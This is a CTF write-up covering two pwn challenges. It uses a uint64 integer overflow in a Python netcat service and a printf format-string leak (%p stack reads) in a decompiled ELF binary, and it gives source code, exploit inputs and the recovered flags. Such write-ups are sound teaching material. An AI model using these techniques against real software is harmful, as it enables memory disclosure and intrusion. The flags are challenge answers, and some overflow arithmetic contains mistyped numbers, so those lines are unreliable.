Post

1337UP LIVE CTF-Pwn

Over The Edge

Description

Author: kavigihan
Numbers are fun!! 🔢

edge.ctf.intigriti.io 1337
over_the_edge.py

Solution

1
2
3
4
$ nc edge.ctf.intigriti.io 1337
Time to jump over the edge!
1234
Try again.

Look at function process_input()

1
2
3
4
5
6
7
8
9
10
11
def process_input(input_value):
    num1 = np.array([0], dtype=np.uint64)
    num2 = np.array([0], dtype=np.uint64)
    num2[0] = 0
    a = input_value
    if a < 0:
        return "Exiting..."
    num1[0] = (a + 65)
    if (num2[0] - num1[0]) == 1337:
        return 'You won!\n'
    return 'Try again.\n'

num2 - num1 need to equal to 1337
In Maths format 0 - (input + 65) = 1337 but the input can’t be lower than 0 otherwise the program will return Exiting... which we don’t want that. If we look a bit up in the function. we will see that the type of num1 and num2 is uint64

uint64 Unsigned integer (0 to 18446744073709551615)

If the input is 18446744073709551550(18446744073709551615 - 65)
the result: num1 = 18446744073709551615 | 0(num2) - num1 = 1

0 - 18446744073709551551615 = -18446744073709551551615 is out of uint64’s range. It return back to 1
0 - 18446744073709551551614 = -18446744073709551551614 it return back to 2
0 - 18446744073709551551613 = -18446744073709551551613 it return back to 3

It is integer overflow. Now we know the idea of it. Next let’s use some maths.

So we need 0(num2) - num1 = 1337. num1 should be 18446744073709550279 (18446744073709551615-1336). then the input have to be 18446744073709550214 (18446744073709550279-65) If the result is 1337, the function will return You won! and the program will give us a flag.

1
2
3
4
$ nc edge.ctf.intigriti.io 1337
Time to jump over the edge!
18446744073709550214
INTIGRITI{fUn_w1th_1nt3g3r_0v3rfl0w_11}

It worked!

Flag: INTIGRITI{fUn_w1th_1nt3g3r_0v3rfl0w_11}

Source code - over_the_edge.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import numpy as np
import warnings
import socket, sys
import threading

warnings.filterwarnings("ignore", category=RuntimeWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning)

def process_input(input_value):
    num1 = np.array([0], dtype=np.uint64)
    num2 = np.array([0], dtype=np.uint64)
    num2[0] = 0
    a = input_value
    if a < 0:
        return "Exiting..."
    num1[0] = (a + 65)
    if (num2[0] - num1[0]) == 1337:
        return 'You won!\n'
    return 'Try again.\n'

def handle_client(client_socket, client_address):
    try:
        print(f"Accepted connection from {client_address}")
        client_socket.send(b"Time to jump over the edge!\n")
        client_socket.send(b"")
        
        while True:
            input_data = client_socket.recv(1024).decode().strip()
            if not input_data:
                break
            input_value = int(input_data)
            response = process_input(input_value)
            if response == 'You won!\n':
                with open("flag", "r") as flag_file:
                    flag_content = flag_file.read()
                    client_socket.send(flag_content.encode())
                client_socket.close()
                break
            else:
                client_socket.send(response.encode())

        client_socket.close()
        print(f"Connection from {client_address} closed")
    except:
        client_socket.close()

def main():
    host = '0.0.0.0'
    port = 1337

    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen()

    print(f"Listening on {host}:{port}")

    while True:
        client_socket, client_address = server_socket.accept()
        
        client_thread = threading.Thread(target=handle_client, args=(client_socket, client_address))
        client_thread.start()

if __name__ == "__main__":
    main()

Floor Mat Store

Description

Author: CryptoCat
Welcome to the Floor Mat store! It’s kind of like heaven.. for mats

floormats.ctf.intigriti.io 1337
floormats

Solution

This challenge give us ELF 64-bit file.

1
2
$ file floormats   
floormats: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=386aa1493b9103743d0ce9091badfa29d656245e, for GNU/Linux 3.2.0, not stripped

I used ghidra to decompile the program. Decompiled source code - floormats
There is a secret mat 6. Mysterious Flag Mat - $1337 at line 26.
According to the Decompiled source code - floormats, If the first input is 6, the program will read flag.txt and put it in local_d8 variable.
At line 56, There is a format string vuln printf(local_98); because It call printf() without specific a type of the varible. So If we input something like this %p -> printf(%p); the program will bring something in memory.

The idea to read the flag is

  1. input 6 then the program will load content of flag.txt in memory.
  2. input many %p and hope the program will leak the flag.

After a while I found that first location of the flag %18$p
payload: %23$p %22$p %22$p %21$p %20$p %19$p %18$p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nc floormats.ctf.intigriti.io 1337
Welcome to the Floor Mat store! It's kind of like heaven.. for mats.

Please choose from our currently available floor mats

Note: Out of stock items have been temporarily delisted

Please select a floor mat:

1. Cozy Carpet Mat - $10
2. Wooden Plank Mat - $15
3. Fuzzy Shag Mat - $20
4. Rubberized Mat - $12
5. Luxury Velvet Mat - $25

Enter your choice:
6

Please enter your shipping address:
%23$p %22$p %22$p %21$p %20$p %19$p %18$p

Your floor mat will be shipped to:

0x7d66376e3172 0x705f37753062345f 0x705f37753062345f 0x6e7234775f793368 0x375f7968775f3537 0x3468375f30357b49 0x5449524749544e49
1
0x7d66376e3172 0x705f37753062345f 0x705f37753062345f 0x6e7234775f793368 0x375f7968775f3537 0x3468375f30357b49 0x5449524749544e49

Decode these hex and reverse them. then get the flag. CyberChef

Flag: INTIGRITI{50_7h475_why_7h3y_w4rn_4b0u7_p_4b0u7_pr1n7f}

Decompiled source code - floormats

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_128;
  int local_124;
  __gid_t local_120;
  int local_11c;
  char *local_118;
  FILE *local_110;
  char *local_108 [4];
  char *local_e8;
  char *local_e0;
  char local_d8 [64];
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  local_108[0] = "1. Cozy Carpet Mat - $10";
  local_108[1] = "2. Wooden Plank Mat - $15";
  local_108[2] = "3. Fuzzy Shag Mat - $20";
  local_108[3] = "4. Rubberized Mat - $12";
  local_e8 = "5. Luxury Velvet Mat - $25";
  local_e0 = "6. Mysterious Flag Mat - $1337";
  local_118 = local_d8;
  local_120 = getegid();
  setresgid(local_120,local_120,local_120);
  local_110 = fopen("flag.txt","r");
  if (local_110 == (FILE *)0x0) {
    puts("You have a flag.txt, right??");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts(
      "Welcome to the Floor Mat store! It\'s kind of like heaven.. for mats.\n\nPlease choose from o ur currently available floor mats\n\nNote: Out of stock items have been temporarily delisted\n "
      );
  puts("Please select a floor mat:\n");
  for (local_124 = 0; local_124 < 5; local_124 = local_124 + 1) {
    puts(local_108[local_124]);
  }
  puts("\nEnter your choice:");
  __isoc99_scanf(&DAT_001021b6,&local_128);
  if ((0 < local_128) && (local_128 < 7)) {
    local_11c = local_128 + -1;
    do {
      iVar1 = getchar();
    } while (iVar1 != 10);
    if (local_11c == 5) {
      fgets(local_d8,0x40,local_110);
    }
    puts("\nPlease enter your shipping address:");
    fgets(local_98,0x80,stdin);
    puts("\nYour floor mat will be shipped to:\n");
    printf(local_98);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return 0;
  }
  puts("Invalid choice!\n");
                    /* WARNING: Subroutine does not return */
  exit(1);
}
This post is licensed under CC BY 4.0 by the author.